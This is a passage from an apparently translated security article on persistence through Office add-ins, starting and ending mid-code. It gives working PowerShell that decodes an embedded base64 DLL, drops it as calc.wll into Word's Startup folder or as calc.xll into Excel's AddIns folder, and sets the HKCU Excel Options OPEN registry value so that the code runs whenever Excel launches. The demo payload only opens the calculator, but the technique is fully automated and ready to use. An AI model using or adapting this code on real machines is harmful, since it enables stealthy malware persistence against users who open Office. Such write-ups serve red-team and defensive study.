AAAAAAAAAAAA\"\u003Cbr>$fileContentBytes = [System.Convert]::FromBase64String($fileContent)\u003Cbr>[System.IO.File]::WriteAllBytes($env:APPDATA+\"\\Microsoft\\Word\\Startup\\calc.wll\",$fileContentBytes)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>After running the above code, calc.wll is generated in C:\\Users\\a\\AppData\\Roaming\\Microsoft\\Word\\Startup\\, and when word.exe is launched, the calculator pops up.\u003C\u002Fp>\u003Ch2>0x03 Excel XLL\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1. Manual Testing\u003C\u002Fh3>\u003Cp>Create a new DLL project, add the export function xlAutoOpen, with the specific code as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>void xlAutoOpen()\u003Cbr>{\u003Cbr>    WinExec(\"calc.exe\", SW_SHOWNORMAL);\u003Cbr>}\u003Cbr>\u003Cbr>BOOL APIENTRY DllMain(HANDLE hModule,\u003Cbr>                       DWORD ul_reason_for_call,\u003Cbr>                       LPVOID lpReserved\u003Cbr>                     )\u003Cbr>{\u003Cbr>    switch (ul_reason_for_call)\u003Cbr>    {\u003Cbr>        case DLL_PROCESS_ATTACH:\u003Cbr>\t\t\t\u003Cbr>        case DLL_THREAD_ATTACH:\u003Cbr>        case DLL_THREAD_DETACH:\u003Cbr>        case DLL_PROCESS_DETACH:\u003Cbr>            break;\u003Cbr>    }\u003Cbr>    return TRUE;\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Add file, set type: Text File\u003C\u002Fp>\u003Cp>Name: Project same name file.def\u003C\u002Fp>\u003Cp>Write:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>EXPORTS\u003Cbr>xlAutoOpen\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Compile into calc2.dll, export function as xlAutoOpen(), optimized size 3kb\u003C\u002Fp>\u003Cp>Rename to calc.xll, save path as follows:\u003C\u002Fp>\u003Cp>%appdata%\\Microsoft\\AddIns\u003C\u002Fp>\u003Cp>Find registry key value:\u003C\u002Fp>\u003Cp>Key value for Office2010:\u003C\u002Fp>\u003Cp>HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\14.0\\Excel\\Options\u003C\u002Fp>\u003Cp>Key value for Office2013:\u003C\u002Fp>\u003Cp>HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Excel\\Options\u003C\u002Fp>\u003Cp>Create new string value: OPEN: \u002FR calc.xll\u003C\u002Fp>\u003Cp>Launch Excel.exe, calculator pops up, and Excel starts normally\u003C\u002Fp>\u003Ch3>2. Write a PowerShell script to implement\u003C\u002Fh3>\u003Cp>Same as above, encrypt calc2.dll as base64 and store in a variable:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>$fileContent = [System.IO.File]::ReadAllBytes('calc.xll')\u003Cbr>$fileContentEncoded = [System.Convert]::ToBase64String($fileContent) | Set-Content (\"calcxllbase64.txt\")\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Obtain\u003C\u002Fp>\u003Cp>TVqQAAMAAAAEAAAA\u002F\u002F8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAADVzTnZkaxXipGsV4qRrFeKebNdipWsV4qRrFaKlqxXivOzRIqSrFeKebNcipOsV4p5s1OKkqxXilJpY2iRrFeKAAAAAAAAAABQRQAATAEEAF0ZaFkAAAAAAAAAAOAADiELAQYAAAIAAAAGAAAAAAAAyxAAAAAQAAAAIAAAAAAAEAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAABQAAAABAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAADQIAAARwAAABwgAAA8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAADQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAbgEAAAAQAAAAAgAAAAQAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAABcBAAAAIAAAAAIAAAAGAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAAAwAAAAADAAAAACAAAACAAAAAAAAAAAAAAAAAAAQAAAwC5yZWxvYwAAWgAAAABAAAAAAgAAAAoAAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGoBaBAwABD\u002FFQAgABDDkJC4AQAAAMIMAJCQkJCQkJCQi0QkCIXAdQ45BRwwABB+Lv8NHDAAEIsNFCAAEIP4AYsJiQ0gMAAQdT9ogAAAAP8VECAAEIXAWaMoMAAQdQQzwOtmgyAAoSgwABBoBDAAEGgAMAAQoyQwABDo6gAAAP8FHDAAEFlZ6z2FwHU5oSgwABCFwHQwiw0kMAAQVo1x\u002FDvwchKLDoXJdAf\u002F0aEoMAAQg+4E6+pQ\u002FxUIIAAQgyUoMAAQAFleagFYwgwAVYvsU4tdCFaLdQxXi30QhfZ1CYM9HDAAEADrJoP+AXQFg\u002F4CdSKhLDAAEIXAdAlXVlP\u002F0IXAdAxXVlPoFf\u002F\u002F\u002F4XAdQQzwOtOV1ZT6PX+\u002F\u002F+D\u002FgGJRQx1DIXAdTdXUFPo8f7\u002F\u002F4X2dAWD\u002FgN1JldWU+jg\u002Fv\u002F\u002FhcB1AyFFDIN9DAB0EaEsMAAQhcB0CFdWU\u002F\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\u003C\u002Fp>\u003Cp>Use variable $fileContent to store base64-encrypted calc.xll\u003C\u002Fp>\u003Cp>Based on the release path of the .xll file, the code for base64 decryption and generating calc.xll is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>$fileContent = \"TVqQAAMAAAAEAAAA\u002F\u002F8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAADVzTnZkaxXipGsV4qRrFeKebNdipWsV4qRrFaKlqxXivOzRIqSrFeKebNcipOsV4p5s1OKkqxXilJpY2iRrFeKAAAAAAAAAABQRQAATAEEAF0ZaFkAAAAAAAAAAOAADiELAQYAAAIAAAAGAAAAAAAAyxAAAAAQAAAAIAAAAAAAEAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAABQAAAABAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAADQIAAARwAAABwgAAA8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAADQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAbgEAAAAQAAAAAgAAAAQAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAABcBAAAAIAAAAAIAAAAGAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAAAwAAAAADAAAAACAAAACAAAAAAAAAAAAAAAAAAAQAAAwC5yZWxvYwAAWgAAAABAAAAAAgAAAAoAAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGoBaBAwABD\u002FFQAgABDDkJC4AQAAAMIMAJCQkJCQkJCQi0QkCIXAdQ45BRwwABB+Lv8NHDAAEIsNFCAAEIP4AYsJiQ0gMAAQdT9ogAAAAP8VECAAEIXAWaMoMAAQdQQzwOtmgyAAoSgwABBoBDAAEGgAMAAQoyQwABDo6gAAAP8FHDAAEFlZ6z2FwHU5oSgwABCFwHQwiw0kMAAQVo1x\u002FDvwchKLDoXJdAf\u002F0aEoMAAQg+4E6+pQ\u002FxUIIAAQgyUoMAAQAFleagFYwgwAVYvsU4tdCFaLdQxXi30QhfZ1CYM9HDAAEADrJoP+AXQFg\u002F4CdSKhLDAAEIXAdAlXVlP\u002F0IXAdAxXVlPoFf\u002F\u002F\u002F4XAdQQzwOtOV1ZT6PX+\u002F\u002F+D\u002FgGJRQx1DIXAdTdXUFPo8f7\u002F\u002F4X2dAWD\u002FgN1JldWU+jg\u002Fv\u002F\u002FhcB1AyFFDIN9DAB0EaEsMAAQhcB0CFdWU\u002F\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\"\u003Cbr>$fileContentBytes = [System.Convert]::FromBase64String($fileContent)\u003Cbr>[System.IO.File]::WriteAllBytes($env:APPDATA+\"\\Microsoft\\AddIns\\calc.xll\",$fileContentBytes)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Determine Office version via PowerShell:\u003C\u002Fp>\u003Cp>dir -name \"C:\\Program Files\\Microsoft Office\\Office*\"\u003C\u002Fp>\u003Cp>Output: Office14\u003C\u002Fp>\u003Cp>Extract the version number 14 from the string, code as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>$OfficeVersion=dir -name \"C:\\Program Files\\Microsoft Office\\Office*\"\u003Cbr>\u003Cbr>$Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf(\"e\")+1 ) \u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Add exception handling; if Office is not installed on the system, return a prompt message:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Try  \u003Cbr>{  \u003Cbr>    $OfficeVersion=dir -name \"C:\\Program Files\\Microsoft Office\\Office*\" -ErrorAction Stop  \u003Cbr>    $Ver=$OfficeVersion.Substring( $OfficeVersion.LastIndexOf(\"e\")+1 ) \u003Cbr>}  \u003Cbr>Catch  \u003Cbr>{  \u003Cbr>    Write-Host \"[!] I can't find Microsoft Office!\" \u003Cbr>    Write-Host \"[+] Please reinput a correct path.\"  \u003Cbr>}  \u003Cbr> \u003Cbr>Write-Host \"Microsoft Office Version:\" $Ver\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Concatenate registry paths corresponding to different Office versions:\u003C\u002Fp>\u003Cp>$ExcelRegPath=\"HKCU:\\Software\\Microsoft\\Office\\\"+$Ver+\".0\\Excel\\\"\u003C\u002Fp>\u003Cp>Create new key: Options\u003C\u002Fp>\u003Cp>New-Item -type Directory $ExcelRegPath\"Options\" | Out-Null\u003C\u002Fp>\u003Cp>Create new string value: OPEN: \u002FR calc.xll :\u003C\u002Fp>\u003Cp>New-ItemProperty $ExcelRegPath\"Options\" OPEN -value \"\u002FR calc.xll\" -propertyType string | Out-Null\u003C\u002Fp>\u003Cp>Complete code as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>$fileContent = \"TVqQAAMAAAAEAAAA\u002F\u002F8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAADVzTnZkaxXipGsV4qRrFeKebNdipWsV4qRrFaKlqxXivOzRIqSrFeKebNcipOsV4p5s1OKkqxXilJpY2iRrFeKAAAAAAAAAABQRQAATAEEAF0ZaFkAAAAAAAAAAOAADiELAQYAAAIAAAAGAAAAAAAAyxAAAAAQAAAAIAAAAAAAEAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAABQAAAABAAAAAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAADQIAAARwAAABwgAAA8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAADQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAbgEAAAAQAAAAAgAAAAQAAAAAAAAAAAAAAAAAACAAAGAucmRhdGEAABcBAAAAIAAAAAIAAAAGAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAAAwAAAAADAAAAACAAAACAAAAAAAAAAAAAAAAAAAQAAAwC5yZWxvYwAAWgAAAABAAAAAAgAAAAoAAAAAAAAAAAAAAAAAAEAAAEIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGoBaBAwABD\u002FFQAgABDDkJC4AQAAAMIMAJCQkJCQkJCQi0QkCIXAdQ45BRwwABB+Lv8NHDAAEIsNFCAAEIP4AYsJiQ0gMAAQdT9ogAAAAP8VECAAEIXAWaMoMAAQdQQzwOtmgyAAoSgwABBoBDAAEGgAMAAQoyQwABDo6gAAAP8FHDAAEFlZ6z2FwHU5oSgwABCFwHQwiw0kMAAQVo1x\u002FDvwchKLDoXJdAf\u002F0aEoMAAQg+4E6+pQ\u002FxUIIAAQgyUoMAAQAFleagFYwgwAVYvsU4tdCFaLdQxXi30QhfZ1CYM9HDAAEADrJoP+AXQFg\u002F4CdSKhLDAAEIXAdAlXVlP\u002F0IXAdAxXVlPoFf\u002F\u002F\u002F4XAdQQzwOtOV1ZT6PX+\u002F\u002F+D\u002FgGJRQx1DIXAdTdXUFPo8f7\u002F\u002F4X2dAWD\u002FgN1JldWU+jg\u002Fv\u002F\u002FhcB1AyFFDIN9DAB0EaEsMAAQhcB0CFdWU\u002F\u002FQiUUMi0UMX15bXcIMAP8lDCAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdCAAAAAAAACMIAAAlCAAAKAgAACqIAAAAAAAAFggAAAAAAAAAAAAAH4gAAAAIAAAYCAAAAAAAAAAAAAAuiAAAAggAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHQgAAAAAAAAjCAAAJQgAACgIAAAqiAAAAAAAADTAldpbkV4ZWMAS0VSTkVMMzIuZGxsAABeAmZyZWUAAA8BX2luaXR0ZXJtAJECbWFsbG9jAACdAF9hZGp1c3RfZmRpdgAATVNWQ1JULmRsbAAAAAAAAAAAAAAAAAAAAABdGWhZAAAAAAIhAAABAAAAAQAAAAEAAAD4IAAA\u002FCAAAAAhAAAAEAAADCEAAAAAdGVzdDMuZGxsAHhsQXV0b09wZW4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAY2FsYy5leGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAA0AAAAAzAJMCowMjA4MEMwUDBYMGYwazBwMHUwgDCNMJcwrDC4ML4w4DDyME4xajEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA